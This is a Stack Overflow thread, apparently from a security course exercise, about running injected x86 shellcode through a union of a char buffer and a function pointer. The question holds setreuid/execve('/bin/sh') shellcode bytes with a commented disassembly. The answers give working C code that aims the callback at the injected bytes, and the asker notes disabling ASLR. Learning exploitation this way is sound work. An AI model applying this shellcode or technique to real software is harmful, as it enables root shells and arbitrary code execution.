1

I am trying to inject shell code into the char buffer and execute it using the function pointer. both string and function pointer are in the union. Below is the shell code I am using trying to execute

\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68
 0: 31 c0            xor    eax, eax
 2: b0 46            mov    al, 0x46                   ; setreuid (70)
 4: 31 db            xor    ebx, ebx                   ; real uid
 6: 31 c9            xor    ecx, ecx                   ; effective uid
 8: cd 80            int    0x80                       ; setreuid(0, 0)
 a: eb 16            jmp    0x22                       ; jump to call at end
 c: 5b               pop    ebx                        ; get address of "/bin/sh"
 d: 31 c0            xor    eax, eax
 f: 88 43 07         mov    BYTE PTR[ebx + 0x7], al    ; zero terminate "/bin/sh"
12: 89 5b 08         mov    DWORD PTR[ebx + 0x8], ebx  ; + address of "/bin/sh"
15: 89 43 0c         mov    DWORD PTR[ebx + 0xc], eax  ; + NULL pointer
18: b0 0b            mov    al, 0x0b                   ; execve (11)
1a: 8d 4b 08         lea    ecx, [ebx + 0x8]           ; load argv (ptr to "/bin/sh")
1d: 8d 53 0c         lea    edx, [ebx + 0xc]           ; load envp (NULL)
20: cd 80            int    0x80                       ; execve("/bin/sh", "/bin/sh", NULL)
22: e8 e5 ff ff ff   call   0x0c                       ; push address on the stack
27:                  "/bin/sh"                         ;   and jump back
union array_or_function_pointer 
{
        char string[128];
        void (*callback)(void);
};

void trialversion()
{
    printf("This is a trial version. Please purchase the full version to enable all features!\n");
}


int main(int argc, char *argv[])
{
        FILE *fp;
        union array_or_function_pointer obj;
        fp = fopen(argv[1], "r");

        obj.callback = trialversion;
        obj.callback();
        fread(obj.string, 128, 1, fp);
        obj.callback();

        fclose(fp);
        return 0;
}

The shell code is not being executed and I am getting segemntation fault as shown below. I have used -z execstack.

gcc -g -fno-stack-protector -z execstack sample.c -o sample

harsha@hv-XPS:~/ass6$ ./sample pass_junk.txt 
This is a trial version. Please purchase the full version to enable all features!
Segmentation fault (core dumped)

The problem seems to be that program is checking the address present in the shell code

Swordfish
  • 12,971
  • 3
  • 21
  • 43
harsha
  • 31
  • 5
  • yes I did step thru the code The segmentation fault was with 0xc931db3146b0c031 address not found, which is the hex number I passed – harsha May 12 '19 at 02:22
  • @jenesaisquoi I added comments to the disassembly. – Swordfish May 12 '19 at 02:48
  • Could you please try to read it in a buffer (without the union) and call it directly? `((void (*)(void)) buffer)();`? – Swordfish May 12 '19 at 03:01
  • @Swordfish I am trying to prove the code injection using a union – harsha May 12 '19 at 03:03
  • Trying won't hurt? You're running that as root? – Swordfish May 12 '19 at 03:05
  • @jenesaisquoi I am trying to prove the code injection using a union by sending the shell script into the string and calling the function pointer – harsha May 12 '19 at 03:06
  • @Swordfish I am running as admin now. I used ```((void (*)(void)) buffer)() ``` . Seg fault is not occuring but the program is not opening a shell session. infact nothing is happening... it is just indefinitely waiting/ doing something in the background – harsha May 12 '19 at 03:18
  • 2
    i think you have to take the address of the union to invoke it. when the buffer contains a function, if you invoke it by `obj.callback();` it will treat the first few bytes of the buffer as the function pointer. so when you want to invoke the buffer try `&(obj.callback)();` or something like that – Chris Rollins May 12 '19 at 03:54

2 Answers2

1

Usually a pointer to function variable is implemented as memory containing the address of the first instruction of the function to be called. You're putting instructions directly in obj, not an address.

To get this sort of test exploit to work, you would need to both get the injected instructions somewhere into memory, and also put the address of the memory containing those instructions into obj.callback. But this will be tricky because most operating systems use Address Space Layout Randomization to make it difficult to predict exactly where objects in the stack will be.

aschepler
  • 70,891
  • 9
  • 107
  • 161
  • so can't you just take the address of the buffer and invoke that? – Chris Rollins May 12 '19 at 03:56
  • @ChrisRollins With enough casts, probably. But then that code won't be able to also call `trialversion`, so you're just inserting code into a program specifically written to attempt to execute arbitrary code. – aschepler May 12 '19 at 03:58
  • I'm not sure why you say that. If you set the union's callback you can invoke it with `obj.callback()` and when you want to call the buffer you invoke it with `&(obj.callback)()`. What am I missing here? – Chris Rollins May 12 '19 at 04:01
  • `&(obj.callback)()` means the same thing as `&(obj.callback())` and you can't take the address of a `void`. Maybe you mean something like `((void(*)(void))&obj)()`? But then we're not really using the properties of a union in a very meaningful way. – aschepler May 12 '19 at 04:33
  • well ok that works. but yeah I mean I am not sure why the asker wants to put it in a union anyway. – Chris Rollins May 12 '19 at 04:36
  • I guess the asker wants to have an object that points to an injected function or to a default implementation when there was no injection... so maybe just have a pointer that you reassign to point to the injected function. that wouldn't be too hard right? – Chris Rollins May 12 '19 at 04:37
  • Ah, now I got you. https://pastebin.com/HW7naySw (Windows, runs `calc.exe`) – Swordfish May 12 '19 at 05:43
  • @aschepler thank you for the explanation. I was able to understand it much better after reading you explanation. FYI i did change the Address Space Layout Randomization using ```echo 0 | sudo tee /proc/sys/kernel/randomize_va_space ``` – harsha May 12 '19 at 16:52
1

Add sizeof(void(*)()) dummy bytes (eg. \x90\x90\x90\x90) at the beginning of your shellcode.
Then:

#include <stdio.h>

union array_or_function_pointer
{
    char code[/* size */];
    void(*callback)(void);
};

void foo(void) { puts("foo()"); }

int main(int argc, char **argv)
{
    union array_or_function_pointer obj;
    obj.callback = foo;
    obj.callback();

    FILE *fp = fopen(argv[1], "rb");
    fread(obj.code, 1, /* size */, fp);
    fclose(fp);

    obj.callback = &obj.callback + 1;   // the code is located *behind*
    obj.callback();                    //  the pointer value.
}
Swordfish
  • 12,971
  • 3
  • 21
  • 43
  • I am getting this error I tried resolving but no use ```warning: assignment from incompatible pointer type [-Wincompatible-pointer-types] obj.callback = &obj.callback + 1;``` – harsha May 12 '19 at 08:18
  • Sorry. Remove the address-of operator. – Swordfish May 12 '19 at 11:45
  • This will set `obj.callback` to something like `0x90909091` (using the gcc extension for adding to a function pointer), and is still a jump to a bad address. (Also, the comment about "0xc931db3146b0c031 address not found" suggests the OP has `sizeof(void(*)(void)) == 8`.) – aschepler May 12 '19 at 15:05
  • @Swordfish.. The following line has solved the problem. ```obj.callback = (void(*) (void)) &obj.callback +8; ```. I observed from the gdb that address was incremented to +1 and not to +8, hence I changed it to ```obj.callback +8 ``` . I am able to launch shell now. I even changed the shell code. I copied from the shell storm website x86_64. But why is it that +8 not +1..? adding one to the address should move it by 8 bytes?? – harsha May 12 '19 at 16:48
  • @harsha If we have a pointer `p` and number `n` and the type of `p` is a pointer to a **complete object type**, then `p+n` is the address in `p` plus `n*sizeof(*p)` bytes. But a function type is not an object type, and C doesn't allow `sizeof` a function type, so that's incorrect C. But gcc has an extension https://gcc.gnu.org/onlinedocs/gcc/Pointer-Arith.html which pretends `sizeof` a function is 1, and just adds a number of bytes when doing pointer arithmetic on a pointer to function. – aschepler May 12 '19 at 19:19
  • me: *Sorry. Remove the address-of operator.* – Sorry, was too tired. Hell no, don't remove the ampersand! If your compiler complains about pointer types, cast. – Swordfish May 12 '19 at 19:52